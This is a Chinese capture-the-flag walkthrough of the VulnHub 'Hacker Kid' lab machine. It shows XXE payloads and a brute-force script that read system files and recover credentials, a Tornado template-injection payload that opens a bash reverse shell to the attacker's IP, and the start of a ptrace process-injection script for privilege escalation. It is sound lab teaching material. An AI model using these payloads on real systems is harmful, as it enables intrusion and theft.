准备工作
-
靶机地址: https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
-
MD5 校验:70f5e0eaa87f9c23a9f9633344afe6f1
- cmd 进行校验:
certutil -hashfile 文件路径 MD5
- powershell 进行校验:
Get-FileHash 文件路径 -Algorithm MD5 | Format-List
- cmd 进行校验:
-
使用 VirtualBox
-
网络 Host-Only
-
-
配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html
- kali: NAT + [ Bridged/Host-Only ]
靶机攻略
发现目标
使用常规工具:
- arp-scan
- nmap
- netdiscover
- fping
初步扫描 sudo arp-scan -l -I eth1
发现目标 192.168.56.118
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:5c:43:96 PCS Systemtechnik GmbH
192.168.56.118 08:00:27:04:87:5a PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.154 seconds (118.85 hosts/sec). 3 responded
使用 nmap 进行端口扫描 nmap -A -T4 192.168.56.118
发现三个 tcp 端口开发
┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.118
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 11:32 CST
Nmap scan report for 192.168.56.118
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open http Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
-
53 是 DNS 服务使用 ISC BIND 9.16.1 (Ubuntu Linux)
- 用于 DNS 的服务,对于 BIND 9 的官方资料 https://www.isc.org/bind/
- 相关漏洞
CVE-2020-8625
、CVE-2021-25216
-
80 是 http 服务使用 Apache httpd 2.4.41 ((Ubuntu))
- 从
http-title: Notorious Kid : A Hacker
看 Notorious Kid : A Hacker 对于初步信息收集应该从此处开始
- 从
-
9999 也是 http 服务,但使用的是 Tornado httpd 6.1
- 并且
http-title
以及_Requested resource was /login?next=%2F
表明与登录有关
- 并且
收集信息
我们使用 firefox 先访问 http://192.168.56.118:80/
发现此页面中是一个提示信息,一个黑客攻陷了此网站,并留了一个后面让我们使用 dig
但我们需要更多信息,进一步使用 Ctrl + U
查看源码
<!--
<div class="container py-5">
<h1>Thanks</h1>
TO DO: Use a GET parameter page_no to view pages.
-->
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
- 在源码的一段注释信息中说此页面存在一个 GET 参数
page_no
-
page_no
翻译 page 页面,在开发中 no 一般指数字
我们随意尝试请求一下 http://192.168.56.118/?page_no=0
查看页面与原本的有什么区别
┌──(kali㉿kali)-[~]
└─$ comm -3 <(curl "http://192.168.56.118/" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null 1 ⨯
<font color="red">
</center>
<!--
<div class="container py-5">
<h1>Thanks</h1>
Oh Man !! Isn't is right to go a little deep inside?
<font color="red">
</center>
<!--
<div class="container py-5">
<h1>Thanks</h1>
-
发现在
http://192.168.56.118/?page_no=0
页面下方多了一段红色提示 "Oh Man !! Isn't is right to go a little deep inside?" -
不同之处可以在访问浏览器中发现,也可以通过
curl
请求回返的源码通过comm
进行比较发现不同的地方-
对比命令中的不同是使用 Process Substitution 将
curl
输出做为comm
输入类似管道|
的使用 -
2>/dev/null
作用是将 标准错误 重定向到 /dev/null 文件-
/dev/null
是一个特殊的文件,写入到它的内容都会被丢弃,可以理解为垃圾桶
-
-
-
对于提示 "Oh Man !! Isn't is right to go a little deep inside?" 表示 我们的猜测大体正确,但参数的值不够准确,在换值
page_no=1
发现结果是一样的comm -3 <(curl "http://192.168.56.118/?page_no=1" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null
对此我们编写一个爆破脚本 loop.sh 并执行 bash loop.sh
下面是脚本内容,在 0~50 进行爆破比对返回内容有异常的数值
i=0
while(( $i<=50 ))
do
j=$((i+1))
str=`comm -3 \
<(curl -i "http://192.168.56.118/?page_no=$i" 2>/dev/null) \
<(curl -i "http://192.168.56.118/?page_no=$j" 2>/dev/null) \
2>/dev/null`
if ((${#str} > 0))
then
echo $j
break
fi
let "i++"
done
-
爆破结果,值为21
┌──(kali㉿kali)-[~/workspace] └─$ bash loop.sh 21
我们访问 http://192.168.56.118/?page_no=21
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
-
发现在页面最下面有这样一段红色提示,如果瞎可以使用
comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null
看源码区别┌──(kali㉿kali)-[~/workspace] └─$ comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null Oh Man !! Isn't is right to go a little deep inside? <font color="red"> </center> <!-- <div class="container py-5"> <h1>Thanks</h1> Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local<br> <font color="red"> </center> <!-- <div class="container py-5"> <h1>Thanks</h1>
-
提示的大体意思是,他留下了一个关于域名的后门,并给出了一个
hackers.blackhat.local
的域名
扩充知识中:服务器虚拟主机原理
- 服务器虚拟主机是指使用一台物理机器,充当多个主机名的 WEB 服务器
- 使用虚拟主机的好处在于,一些小规模的网站,通过跟其他网站共享同一台物理机器,可以减少系统的运行成本,并且可以减少管理的难度
- 虚拟主机的两种工作方式
- 基于IP地址的虚拟主机方式
- 基于主机名的虚拟主机方式
我们可以尝试篡改发送请求的请求头中的 Host
进行欺骗,上面提示有一个 hackers.blackhat.local
的域名,对于目前 IP 是固定的,说明目标使用了服务器虚拟主机管理多个 WEB 网站应用,我们使用 curl -H 'Host: hackerkid.blackhat.local' "http://192.168.56.118"
测试一番
┌──(kali㉿kali)-[~/workspace]
└─$ curl -H 'Host: hackerkid.blackhat.local' http://192.168.56.118 130 ⨯
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Register Today</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<tel>' + $('#tel').val() + '</tel>' +
'<email>' + $('#email').val() + '</email>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","process.php",true);
xmlhttp.send(xml);
};
</script>
<style>
body {
background-image: url('back2.jpg');
background-repeat: no-repeat;
background-attachment: fixed;
background-size: cover;
}
</style>
<style>
body {
color: green;
}
</style>
</head>
<body>
<center>
<div >
<h2>Create Account</h2>
<div >
<fieldset>
<p>
<label for="name">Name</label>
<input
value="" />
</p>
<p>
<label for="tel">Phone Number</label>
<input
/>
</p>
<p>
<label for="email">Email</label>
<input
value="" />
</p>
<p>
<label for="password">Password</label>
<input
type="password" />
<button
onclick="XMLFunction()">Register</button>
</p>
</fieldset>
</div>
</div>
<div >
</div>
</center>
</body>
</html>
-
发现有不一样的内容比较,如果不喜欢源码阅读的可以通过下面方式看看 页面渲染后大体内容 【最后还是要读源码】
-
部分拦截工具,拦截后篡改 Host 在浏览器上查看
- BurpSuite
- Mitmproxy 推荐
-
也可将
curl
内容请求保存在本地上查看,最简单 -
或者使用内核为 chromium 的浏览器使用
--host-resolver-rules
参数在命令行打开实例访问- --host-resolver-rules="MAP hackers.blackhat.local 192.168.56.118"
-
改 hosts 文件,将域名与 IP 绑定
-
-
从代码中可以看出 关键部分(请求相关的) 内容
<fieldset> <p> <label for="name">Name</label> <input value="" /> </p> <p> <label for="tel">Phone Number</label> <input /> </p> <p> <label for="email">Email</label> <input value="" /> </p> <p> <label for="password">Password</label> <input type="password" /> <button onclick="XMLFunction()">Register</button> </p> </fieldset>
-
请求是使用 JavaScript 进行处理的,并且请求数据是封装成
xml
进行数据交互function XMLFunction(){ var xml = '' + '<?xml version="1.0" encoding="UTF-8"?>' + '<root>' + '<name>' + $('#name').val() + '</name>' + '<tel>' + $('#tel').val() + '</tel>' + '<email>' + $('#email').val() + '</email>' + '<password>' + $('#password').val() + '</password>' + '</root>'; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ console.log(xmlhttp.readyState); console.log(xmlhttp.responseText); document.getElementById('errorMessage').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","process.php",true); xmlhttp.send(xml); };
-
xmlhttp.open("POST","process.php",true);
这一段是说明两点- 请求方式 Post
- 最终会有
process.php
对 xml 数据进行处理,说明后台是使用 PHP 进行处理
-
Post 请求数据的 xml 结构
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name></name>
<tel></tel>
<email></email>
<password></password>
</root>
我们可以尝试进行数据请求,使用如下命令,此命令本质是一行但为了便于各位理解进行了调整
echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>1</name>
<tel>1</tel>
<email>xxx@xxx.com</email>
<password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
- 作用是向
http://192.168.56.118/process.php
发起请求,只有使用-d
参数就是默认 POST 请求 -
-d
后面是跟请求数据,此处是使用@
后面应该跟文件,但通过echo
输出 xml 的内容用管道输向-
-
-
指定echo
输出的内容
使用效果
┌──(kali㉿kali)-[~/workspace]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>1</name>
<tel>1</tel>
<email>xxx@xxx.com</email>
<password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, xxx@xxx.com is not available !!!
- 返回的内容是
Sorry, xxx@xxx.com is not available !!!
其中 xxx@xxx.com 经过多次尝试此处是动态回返的 - 对此我们可以尝试使用 xml 的相关漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]>
<root>
<name>1</name>
<tel>1</tel>
<email>&k;</email>
<password>1</password>
</root>
- 如果
<!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]>
看不懂,可以去查关于 DTD 的内容 - 在 xml 中包含 DTD 需要使用 DOCTYPE 声明,这个应该好理解,其中 drug 是声明的 XML 文档构建模块 名称可以随意
- ENTITY 是进行一个外部实体声明,其中 k 只是一个名称,使用 SYSTEM 引入外部资源,所以 k 现在代表
file:///etc/passwd
- 其中
email
标签内容是 k 以此通过请求返回看到系统内部信息
利用 xml 的相关漏洞
┌──(kali㉿kali)-[~]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<tel>1</tel>
<email>&k;</email>
<password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
is not available !!!
-
雀实存在漏洞,借此获取了
/etc/passwd
的内容root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:117:123::/var/lib/saned:/usr/sbin/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false whoopsie:x:120:125::/nonexistent:/bin/false colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
- 发现一个用户
saket
- 发现一个用户
我们使用脚本进行爆破,查看在隐秘文件中 是否存在账号密码相关的内容 全部看太多,重点依次排查
echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
<name>1</name>
<tel>1</tel>
<email>&k;</email>
<password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;
if ((${#${str: 7:((${#str}-28))}}!=0)); then
echo '\n#'$i'###:' >> ./test;
echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
- 读取改用 PHP 的
php://filter
元封装器可以绕过部分系统过滤 -
./test
是存储经过grep
过滤的文件,其中grep -E "(username|root|saket|admin|password|passwd)"
只筛选与username, root, saket, admin, password, passwd
关键词有关的内容,最后的grep
会将./test
内容做一次完整输出 -
./test
中存在目录,但下方为空的是被过滤导致的,如果账号密码没有线索需要对其中空的目录重点排查 - 字典
./file.txt
内容地址 https://www.cnblogs.com/shadow-/p/16904855.html 这些一般容易都是有漏洞的地方,如果链接失效可以在当前博客的 dict 标签中找到 “爆破字典:linux 敏感文件-01”
结果:
┌──(kali㉿kali)-[~/workspace]
└─$ echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
<name>1</name>
<tel>1</tel>
<email>&k;</email>
<password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;
if ((${#${str: 7:((${#str}-28))}}!=0)); then
echo '\n#'$i'###:' >> ./test;
echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
------------------------------------------------------------------------------
HOME=/root
LOGNAME=root
# and files in /etc/cron.d. These files also have username fields,
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# It has been reported that passwords should be enclosed with ticks/quotes
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/passwd###:
root:x:0:0:root:/root:/bin/bash
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
#/home/saket/.bashrc###:
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
username="admin"
password="Saket!#$%@!!"
#/home/saket/.profile###:
-
看来发现不简单,重点是
/home/saket/.bashrc
的内容,其他的【看./test
】都是默认内容【当然返回为空的不确定,为空的是备用信息源】- username="admin"
- password="Saket!#$%@!!"
-
分析账号不是 ssh 的用户,排除 ssh 登录,回想目前存在登录的地方
- 记着前面的 nmap 扫描时的 9999 端口吗?扫描结果是与登录有关
其他的内容,可以查看 ./test
的内容
/etc/anacrontab###:
HOME=/root
LOGNAME=root
#/etc/crontab###:
# and files in /etc/cron.d. These files also have username fields,
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#/etc/fstab###:
#/etc/host.conf###:
#/etc/ld.so.conf###:
#/etc/mysql/my.cnf###:
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/mysql/my.cnf###:
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/networks###:
#/etc/passwd###:
root:x:0:0:root:/root:/bin/bash
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
#/etc/resolv.conf###:
#/etc/ssh/ssh_config###:
#/home/saket/.bashrc###:
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
username="admin"
password="Saket!#$%@!!"
#/home/saket/.profile###:
尝试访问 http://192.168.56.118:9999/
使用密码账号尝试
- 尝试结果 username 是 saket
- 尝试结果 password 是 Saket!#$%@!!
登录后的,页面源码
<br>
<body bgcolor='black'>
<center>
<font color='green'> Tell me your name buddy<br><br><br>How can i get to know who are you ??</font>
<br><br><br><br>
<center>
<p>
<font color='red'><a href='/logout'>logout</a></font>
</body>
- 当前页面应该是存在一个 GET 参数 name
随意请求一番,后的源码
<html>
<head><title>
Hello 1 </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
-
反复测试后,发现是将请求值嵌入
Hello
后面 -
还记着 9999 端口使用的是 Tornado httpd 6.1
- Tornado 是使用 Python 开发的全栈式 Web 框架
- 对于 Web 框架熟悉的应该能理解 请求值是如何嵌入
Hello
后面的,不了解可以查看 Web 的 标签模板语言 相关内容
利用标签模板语言攻击
Traceback (most recent call last):
File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1702, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 3173, in wrapper
return method(self, *args, **kwargs)
File "/opt/server.py", line 43, in get
t = tornado.template.Template(template_data)
File "/usr/local/lib/python3.8/dist-packages/tornado/template.py", line 326, in __init__
self.compiled = compile(
File "<string>.generated.py", line 11
_tt_tmp = 1 abcdefjg # <string>:10
^
SyntaxError: invalid syntax
-
下面是报错,说明存在漏洞
-
通用攻击语句
{{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]
其中abcdefjg
随意,目的让它报错,尽量不要让它正常通过http://192.168.56.118:9999/?name={{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]
探测使用的标签类型【其实知道是 Tornado 就已经确定】,使用 {{1*1}},${1*1},<%1*1%>,[1*1]
看那一段能正常运算
<html>
<head><title>
Hello {{1*1}},${1*1},<%1*1%>,[1*1] </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1,${1*1},<%1*1%>,[1*1]
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>
- 明显是使用
{{}}
因为 Tornado 使用 Python 开发构建,构建语句 {% import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}}
如何进行转码绕过过滤 %7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.116%2F4444%200%3E%261%22%27)%7D%7D
编码网站:站长之家
┌──(kali㉿kali)-[~/workspace]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.56.116] from (UNKNOWN) [192.168.56.118] 42872
bash: cannot set terminal process group (673): Inappropriate ioctl for device
bash: no job control in this shell
saket@ubuntu:~$
账号提权
本次提权需要 Capabilities 的知识
查看漏洞可能存在的权限漏洞使用 /sbin/getcap -r / 2>/dev/null
saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
- 其中
/usr/bin/python2.7
权限设置是有问题的 - 使用
ps -aef | grep '/usr/sbin/apache2 -k start'
查看与进程/usr/sbin/apache2 -k start
相关的进程号,选和root
相关的
saket@ubuntu:/tmp$ ps -aef | grep '/usr/sbin/apache2 -k start'
ps -aef | grep '/usr/sbin/apache2 -k start'
root 888 1 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 889 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 901 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 903 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 904 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 905 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 906 888 0 05:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1352 888 0 05:40 ? 00:00:00 /usr/sbin/apache2 -k start
saket 1439 1361 0 05:53 ? 00:00:00 grep --color=auto /usr/sbin/apache2 -k start
使用漏洞攻击 python2.7 inject.py 888
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
